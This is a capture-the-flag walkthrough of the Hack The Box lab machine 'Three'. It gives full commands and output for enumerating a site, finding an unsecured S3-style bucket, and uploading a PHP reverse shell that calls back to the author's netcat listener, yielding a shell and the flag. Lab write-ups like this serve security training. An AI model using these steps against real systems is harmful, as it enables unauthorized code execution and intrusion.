https://app.hackthebox.com/machines/Three/



Three | Walkthrough

Phase
Reconnaissance
Foothold

Reconnaissance

Using nmap to enumerate all open ports in the target

nmap -sC -sV 10.129.7.232
port scanning
nopedawn@npdn ~/L/H/S/Three> nmap -sC -sV 10.129.7.232
Starting Nmap 7.80 ( https://nmap.org ) at 2026-03-09 11:02 WIB
Nmap scan report for 10.129.7.232
Host is up (0.69s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Toppers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.27 seconds

After port-scanning, there are two service opens in tcp

  • 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
  • 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

So I start to curl it (can access it via browser also)

curling host
nopedawn@npdn ~/L/H/S/Three> curl -v 10.129.7.232
*   Trying 10.129.7.232:80...
* Connected to 10.129.7.232 (10.129.7.232) port 80 (#0)
> GET / HTTP/1.1
> Host: 10.129.7.232
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 09 Mar 2026 04:27:02 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<title>The Toppers</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css">
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Lato">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
body {font-family: "Lato", sans-serif}
.mySlides {display: none}
</style>
</head>
<body>

<!-- Navbar -->
<div class="w3-top">
  <div class="w3-bar w3-black w3-card">
    <a class="w3-bar-item w3-button w3-padding-large w3-hide-medium w3-hide-large w3-right" href="javascript:void(0)" onclick="myFunction()" title="Toggle Navigation Menu"><i class="fa fa-bars"></i></a>
    <a href="#" class="w3-bar-item w3-button w3-padding-large">HOME</a>
    <a href="#band" class="w3-bar-item w3-button w3-padding-large w3-hide-small">BAND</a>
    <a href="#tour" class="w3-bar-item w3-button w3-padding-large w3-hide-small">TOUR</a>
    <a href="#contact" class="w3-bar-item w3-button w3-padding-large w3-hide-small">CONTACT</a>
    <div class="w3-dropdown-hover w3-hide-small">
      <button class="w3-padding-large w3-button" title="More">MORE <i class="fa fa-caret-down"></i></button>  
      <div class="w3-dropdown-content w3-bar-block w3-card-4">
        <a href="#" class="w3-bar-item w3-button">Merchandise</a>
        <a href="#" class="w3-bar-item w3-button">Extras</a>
        <a href="#" class="w3-bar-item w3-button">Media</a>
      </div>
    </div>
    <a href="javascript:void(0)" class="w3-padding-large w3-hover-red w3-hide-small w3-right"><i class="fa fa-search"></i></a>
  </div>
</div>

<!-- Navbar on small screens (remove the onclick attribute if you want the navbar to always show on top of the content when clicking on the links) -->
<div id="navDemo" class="w3-bar-block w3-black w3-hide w3-hide-large w3-hide-medium w3-top" style="margin-top:46px">
  <a href="#band" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">BAND</a>
  <a href="#tour" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">TOUR</a>
  <a href="#contact" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">CONTACT</a>
  <a href="#" class="w3-bar-item w3-button w3-padding-large" onclick="myFunction()">MERCH</a>
</div>

<!-- Page content -->
<div class="w3-content" style="max-width:2000px;margin-top:46px">

  <!-- Automatic Slideshow Images -->
  <div class="mySlides w3-display-container w3-center">
    <img src="/images/band.jpg" style="width:100%">
    <div class="w3-display-bottommiddle w3-container w3-text-white w3-padding-32 w3-hide-small">
      <h3>Los Angeles</h3>
      <p><b>We had the best time playing at Venice Beach!</b></p>
    </div>
  </div>
  <div class="mySlides w3-display-container w3-center">
    <img src="/images/band2.jpg" style="width:100%">
    <div class="w3-display-bottommiddle w3-container w3-text-white w3-padding-32 w3-hide-small">
      <h3>New York</h3>
      <p><b>The atmosphere in New York is lorem ipsum.</b></p>
    </div>
  </div>
  <div class="mySlides w3-display-container w3-center">
    <img src="/images/band3.jpg" style="width:100%">
    <div class="w3-display-bottommiddle w3-container w3-text-white w3-padding-32 w3-hide-small">
      <h3>Chicago</h3>
      <p><b>Thank you, Chicago - A night we won't forget.</b></p>
    </div>
  </div>

  <!-- The Band Section -->
  <div class="w3-container w3-content w3-center w3-padding-64" style="max-width:800px" id="band">
    <h2 class="w3-wide">THE BAND</h2>
    <p class="w3-opacity"><i>We love music</i></p>
    <p class="w3-justify">We "The Toppers" are a group of five young men who truly believe that music can be pure art. We play a wide range of music and we love to interact with people during our performances. The concert will be the loudest, the most beautiful and the best! We know how to make any event into a festival! All of us have been performing together for over several years now, but still there is always something new to try. With the best musicians aside, we make any event into a festival. <br><br> Music is an art that needs talent and materials. You can't bring the best artists and music instruments into an event without any preparation. Aside from this, we know how to collaborate with the best artists to create a memorable moment for your special day. All the facts are here so you can read about us and the band for making your events into a festival.No matter what celebration you’re hosting demands, we have the right ensemble to get the party started. Our full-service music bands can add to the fun at any gathering, from proms and school dances to weddings. We’ve performed at so many live concerts, college events, and private parties, you might not want to stop them from playing! </p>
    <div class="w3-row w3-padding-32">
      <div class="w3-third">
        <p>John Smith</p>
        <img src="/images/mem1.jpg" class="w3-round w3-margin-bottom" alt="Random Name" style="width:60%">
      </div>
      <div class="w3-third">
        <p>Shane Marks</p>
        <img src="/images/mem2.jpg" class="w3-round w3-margin-bottom" alt="Random Name" style="width:60%">
      </div>
      <div class="w3-third">
        <p>Jim Tailer</p>
        <img src="/images/mem3.jpg" class="w3-round" alt="Random Name" style="width:60%">
      </div>
    </div>
  </div>

  <!-- The Tour Section -->
  <div class="w3-black" id="tour">
    <div class="w3-container w3-content w3-padding-64" style="max-width:800px">
      <h2 class="w3-wide w3-center">TOUR DATES</h2>
      <p class="w3-opacity w3-center"><i>Remember to book your tickets!</i></p><br>

      <ul class="w3-ul w3-border w3-white w3-text-grey">
        <li class="w3-padding">September <span class="w3-tag w3-red w3-margin-left">Sold out</span></li>
        <li class="w3-padding">October <span class="w3-tag w3-red w3-margin-left">Sold out</span></li>
        <li class="w3-padding">November <span class="w3-badge w3-right w3-margin-right">3</span></li>
      </ul>

      <div class="w3-row-padding w3-padding-32" style="margin:0 -16px">
        <div class="w3-third w3-margin-bottom">
          <img src="/images/newyork.jpg" alt="New York" style="width:100%" class="w3-hover-opacity">
          <div class="w3-container w3-white">
            <p><b>New York</b></p>
            <p class="w3-opacity">Fri 27 Aug 2022</p>
            <button class="w3-button w3-black w3-margin-bottom" onclick="document.getElementById('ticketModal').style.display='block'">Buy Tickets</button>
          </div>
        </div>
        <div class="w3-third w3-margin-bottom">
          <img src="/images/paris.jpg" alt="Paris" style="width:100%" class="w3-hover-opacity">
          <div class="w3-container w3-white">
            <p><b>Paris</b></p>
            <p class="w3-opacity">Sat 28 Jun 2022</p>
            <button class="w3-button w3-black w3-margin-bottom" onclick="document.getElementById('ticketModal').style.display='block'">Buy Tickets</button>
          </div>
        </div>
        <div class="w3-third w3-margin-bottom">
          <img src="/images/sanfran.jpg" alt="San Francisco" style="width:100%" class="w3-hover-opacity">
          <div class="w3-container w3-white">
            <p><b>San Francisco</b></p>
            <p class="w3-opacity">Sun 29 May 2022</p>
            <button class="w3-button w3-black w3-margin-bottom" onclick="document.getElementById('ticketModal').style.display='block'">Buy Tickets</button>
          </div>
        </div>
      </div>
    </div>
  </div>

  <!-- Ticket Modal -->
  <div id="ticketModal" class="w3-modal">
    <div class="w3-modal-content w3-animate-top w3-card-4">
      <header class="w3-container w3-teal w3-center w3-padding-32">
        <span onclick="document.getElementById('ticketModal').style.display='none'"
       class="w3-button w3-teal w3-xlarge w3-display-topright">×</span>
        <h2 class="w3-wide"><i class="fa fa-suitcase w3-margin-right"></i>Tickets</h2>
      </header>
      <div class="w3-container">
        <p><label><i class="fa fa-shopping-cart"></i> Tickets, $15 per person</label></p>
        <input class="w3-input w3-border" type="text" placeholder="How many?">
        <p><label><i class="fa fa-user"></i> Send To</label></p>
        <input class="w3-input w3-border" type="text" placeholder="Enter email">
        <button class="w3-button w3-block w3-teal w3-padding-16 w3-section w3-right">PAY <i class="fa fa-check"></i></button>
        <button class="w3-button w3-red w3-section" onclick="document.getElementById('ticketModal').style.display='none'">Close <i class="fa fa-remove"></i></button>
        <p class="w3-right">Need <a href="#" class="w3-text-blue">help?</a></p>
      </div>
    </div>
  </div>

  <!-- The Contact Section -->
  <div class="w3-container w3-content w3-padding-64" style="max-width:800px" id="contact">
    <h2 class="w3-wide w3-center">CONTACT</h2>
    <p class="w3-opacity w3-center"><i>Fan? Drop a note!</i></p>
    <div class="w3-row w3-padding-32">
      <div class="w3-col m6 w3-large w3-margin-bottom">
        <i class="fa fa-map-marker" style="width:30px"></i> Chicago, US<br>
        <i class="fa fa-phone" style="width:30px"></i> Phone: +01 343 123 6102<br>
        <i class="fa fa-envelope" style="width:30px"> </i> Email: mail@thetoppers.htb<br>
      </div>
      <div class="w3-col m6">
        <form action="/action_page.php" target="_blank">
          <div class="w3-row-padding" style="margin:0 -16px 8px -16px">
            <div class="w3-half">
              <input class="w3-input w3-border" type="text" placeholder="Name" required name="Name">
            </div>
            <div class="w3-half">
              <input class="w3-input w3-border" type="text" placeholder="Email" required name="Email">
            </div>
          </div>
          <input class="w3-input w3-border" type="text" placeholder="Message" required name="Message">
          <button class="w3-button w3-black w3-section w3-right" type="submit">SEND</button>
        </form>
      </div>
    </div>
  </div>

<!-- End Page Content -->
</div>

<!-- Image of location/map -->
<img src="/images/final.jpg" class="w3-image w3-greyscale-min" style="width:100%">

<!-- Footer -->
<footer class="w3-container w3-padding-64 w3-center w3-opacity w3-light-grey w3-xlarge">
  <i class="fa fa-facebook-official w3-hover-opacity"></i>
  <i class="fa fa-instagram w3-hover-opacity"></i>
  <i class="fa fa-snapchat w3-hover-opacity"></i>
  <i class="fa fa-pinterest-p w3-hover-opacity"></i>
  <i class="fa fa-twitter w3-hover-opacity"></i>
  <i class="fa fa-linkedin w3-hover-opacity"></i>

</footer>

<script>
// Automatic Slideshow - change image every 4 seconds
var myIndex = 0;
carousel();

function carousel() {
  var i;
  var x = document.getElementsByClassName("mySlides");
  for (i = 0; i < x.length; i++) {
    x[i].style.display = "none";
  }
  myIndex++;
  if (myIndex > x.length) {myIndex = 1}
  x[myIndex-1].style.display = "block";
  setTimeout(carousel, 4000);
}

// Used to toggle the menu on small screens when clicking on the menu button
function myFunction() {
  var x = document.getElementById("navDemo");
  if (x.className.indexOf("w3-show") == -1) {
    x.className += " w3-show";
  } else {
    x.className = x.className.replace(" w3-show", "");
  }
}

// When the user clicks anywhere outside of the modal, close it
var modal = document.getElementById('ticketModal');
window.onclick = function(event) {
  if (event.target == modal) {
    modal.style.display = "none";
  }
}
</script>

</body>
</html>
* Connection #0 to host 10.129.7.232 left intact

In the main web page and if we look closely, we found the domain of email address provided in “Contact” section

  • Chicago, US
  • Phone: +01 343 123 6102
  • Email: mail@thetoppers.htb

I start to add that domain into /etc/hosts file quickly

add domain to hosts
nopedawn@npdn ~/L/H/S/Three> echo "10.129.7.232 thetoppers.htb" | sudo tee -a /etc/hosts
[sudo] password for nopedawn:
10.129.7.232 thetoppers.htb

Since we discover a domain, we can perform subdomain enumerating/fuzzing, this time I’ll use ffuf

ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
subdomain enumerating/fuzzing
nopedawn@npdn ~/L/H/S/Three> ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://thetoppers.htb
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.thetoppers.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

ns3                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
shop                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mobile                  [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns2                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
admin                   [Status: 200, Size: 11947, Words: 1832, Lines: 235]
localhost               [Status: 200, Size: 11947, Words: 1832, Lines: 235]
cpanel                  [Status: 200, Size: 11947, Words: 1832, Lines: 235]
secure                  [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ftp                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
dev                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
vpn                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns4                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mail2                   [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns1                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
whm                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
old                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
forum                   [Status: 200, Size: 11947, Words: 1832, Lines: 235]
ns                      [Status: 200, Size: 11947, Words: 1832, Lines: 235]
test                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
beta                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
demo                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mx                      [Status: 200, Size: 11947, Words: 1832, Lines: 235]
support                 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
autoconfig              [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mail                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
webmail                 [Status: 200, Size: 11947, Words: 1832, Lines: 235]
m                       [Status: 200, Size: 11947, Words: 1832, Lines: 235]
pop3                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
new                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
blog                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
pop                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
host                    [Status: 200, Size: 11947, Words: 1832, Lines: 235]
stats                   [Status: 200, Size: 11947, Words: 1832, Lines: 235]
video                   [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mail1                   [Status: 200, Size: 11947, Words: 1832, Lines: 235]
mx1                     [Status: 200, Size: 11947, Words: 1832, Lines: 235]
...

There are so many valid subdomain indicating status 200. Why this is happened?

All the results show Status: 200 because the server returns a default website when the Host header does not match a real virtual host. Instead of giving an error, the server simply redirects the request to thetoppers.htb.

So the discovered subdomains are not real vhosts they all point to the same default page. This is the same behavior seen earlier when visiting http://10.129.65.242 without specifying a vhost, which also loaded thetoppers.htb.

Since these responses are identical, we can filter them out. They all have a response size of 11947, so we can hide them using the option:

-fs 11947
filtering ffuf output
nopedawn@npdn ~/L/H/S/Three> ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 11947

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://thetoppers.htb
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.thetoppers.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 11947
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 138 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

From the ffuf output, we can see it only matches certain response status codes like 200–299, 301, and 302. Notice that 404 is not included, which means ffuf might be ignoring responses with that status code.

It’s possible the result we want returns a 404, but ffuf is filtering it out. To include every response code, we can use the option:

-mc all
nopedawn@npdn ~/L/H/S/Three> ffuf -u "http://thetoppers.htb" -H "Host: FUZZ.thetoppers.htb" -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 11947 -mc all

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://thetoppers.htb
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.thetoppers.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 11947
________________________________________________

s3                      [Status: 404, Size: 21, Words: 2, Lines: 1]
gc._msdcs               [Status: 400, Size: 306, Words: 26, Lines: 11]
:: Progress: [4989/4989] :: Job [1/1] :: 146 req/sec :: Duration: [0:00:34] :: Errors: 0 ::

Great! We can see there are two subdomains s3 with status 404 & gc._msdcs with status 400 from the output

The subdomain s3 basically is S3 storage service by AWS

What is Amazon S3? Amazon Simple Storage Service (Amazon S3) is an object storage service offering industry-leading scalability, data availability, security, and performance. Millions of customers of all sizes and industries store, manage, analyze, and protect any amount of data for virtually any use case, such as data lakes, cloud-native applications, and mobile apps. With cost-effective storage classes and easy-to-use management features, you can optimize costs, organize and analyze data, and configure fine-tuned access controls to meet specific business and compliance requirements. (see more)

Second time, we need to add that s3 subdomain to /etc/hosts.

add new subdomain to hosts
nopedawn@npdn ~/L/H/S/Three> sudo nano /etc/hosts
  GNU nano 6.2                                      /etc/hosts
...
# HTB
10.129.7.232 thetoppers.htb s3.thetoppers.htb

Now, if we visit s3.thetoppers.htb is accessible and the response is {"status": "running"}

curl s3.thetoppers.htb
nopedawn@npdn ~/L/H/S/Three> curl -v s3.thetoppers.htb
*   Trying 10.129.7.232:80...
* Connected to s3.thetoppers.htb (10.129.7.232) port 80 (#0)
> GET / HTTP/1.1
> Host: s3.thetoppers.htb
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404
< Date: Mon, 09 Mar 2026 06:01:04 GMT
< Server: hypercorn-h11
< Content-Type: text/html; charset=utf-8
< Content-Length: 21
< Access-Control-Allow-Origin: *
< Access-Control-Allow-Methods: HEAD,GET,PUT,POST,DELETE,OPTIONS,PATCH
< Access-Control-Allow-Headers: authorization,cache-control,content-length,content-md5,content-type,etag,location,x-amz-acl,x-amz-content-sha256,x-amz-date,x-amz-request-id,x-amz-security-token,x-amz-tagging,x-amz-target,x-amz-user-agent,x-amz-version-id,x-amzn-requestid,x-localstack-target,amz-sdk-invocation-id,amz-sdk-request
< Access-Control-Expose-Headers: etag,x-amz-version-id
<
* Connection #0 to host s3.thetoppers.htb left intact
{"status": "running"}

Foothold

In this phase, we need to perform access that S3 service, the tool we use it’s awscli (make sure to install it)

sudo apt install awscli -y

After that, do initial configuration

aws configure
nopedawn@npdn ~/L/H/S/Three> aws configure
AWS Access Key ID [None]: bleh
AWS Secret Access Key [None]: bleh
Default region name [None]: bleh
Default output format [None]: bleh

Finally, we can list all inside s3 bucket (see documentation)

listing bucket
nopedawn@npdn ~/L/H/S/Three> aws s3 ls s3://thetoppers.htb

Could not connect to the endpoint URL: "https://s3.bleh.amazonaws.com/thetoppers.htb?list-type=2&prefix=&delimiter=%2F&encoding-type=url"

However, from output this gives an error, because that endpoint URL won’t work for our case. Since the service is running at http://s3.thetoppers.htb, we can simply set that as the --endpoint

listing bucket --endpoint
nopedawn@npdn ~/L/H/S/Three> aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
                           PRE images/
2026-03-09 11:00:47          0 .htaccess
2026-03-09 11:00:47      11952 index.php

Ye, we can see from the bucket list inside, we can be sure this website is written using php.

Last action, get the root flag by doing reverse-shell.

I’ll using this revshell script as file we want to upload, and I want to name it as revshell.php

Make sure to set both of these values with your ip address (of starting-point vpn), change the port also, if you want to

$ip = '127.0.0.1';  // CHANGE THIS (required)
$port = 1234;       // KEEP (or CHANGE THIS)

I’m running starting-point vpn on windows, so I use cmd ipconfig to show the ip addresses

ip configuration
C:\Users\npdn>ipconfig
...
Unknown adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   IPv6 Address. . . . . . . . . . . : █████████████████
   Link-local IPv6 Address . . . . . : ████::████:████:████:████
   IPv4 Address. . . . . . . . . . . : 10.10.16.155
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . :
...

The values in revshell.php file should look like this

$ip = '10.10.16.155';
$port = 1234;

Next, we can upload it

aws s3 cp revshell.php s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb
uploading revshell file
nopedawn@npdn ~/L/H/S/Three> aws s3 cp revshell.php s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb
upload: ./revshell.php to s3://thetoppers.htb/revshell.php

Verify that the upload file by listing the bucket contents.

nopedawn@npdn ~/L/H/S/Three> aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
                           PRE images/
2026-03-09 11:00:47          0 .htaccess
2026-03-09 11:00:47      11952 index.php
2026-03-09 14:28:00       5493 revshell.php

It successfull, now we need to set the listener to port 1234 in our terminal (in this case I run on windows, so I use cmd)

set listener
C:\Users\npdn>nc -lvnp 1234
listening on [any] 1234 ...

Then, visit http://thetoppers.htb/revshell.php directly in browser, (or curl, in second tab terminal) to trigger that revshell

curl in new terminal tab
nopedawn@npdn ~/L/H/S/Three> curl -v http://thetoppers.htb/revshell.php
*   Trying 10.129.7.232:80...
* Connected to thetoppers.htb (10.129.7.232) port 80 (#0)
> GET /revshell.php HTTP/1.1
> Host: thetoppers.htb
> User-Agent: curl/7.81.0
> Accept: */*
>

Back to previous terminal tab, and voila! we got the shell

inside shell
C:\Users\npdn>nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.155] from (UNKNOWN) [10.129.7.232] 42564
Linux three 4.15.0-189-generic #200-Ubuntu SMP Wed Jun 22 19:53:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 07:43:02 up  3:42,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ ls
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$

The root flag should be stored in somewhere else, and I found in var/www/flag.txt

flag retrieve
$ ls /var/www
flag.txt
html
$ cat /var/www/flag*
REDACTED
$

Source:

https://aws.amazon.com/s3/
https://docs.aws.amazon.com/…/using-s3-commands-listing-buckets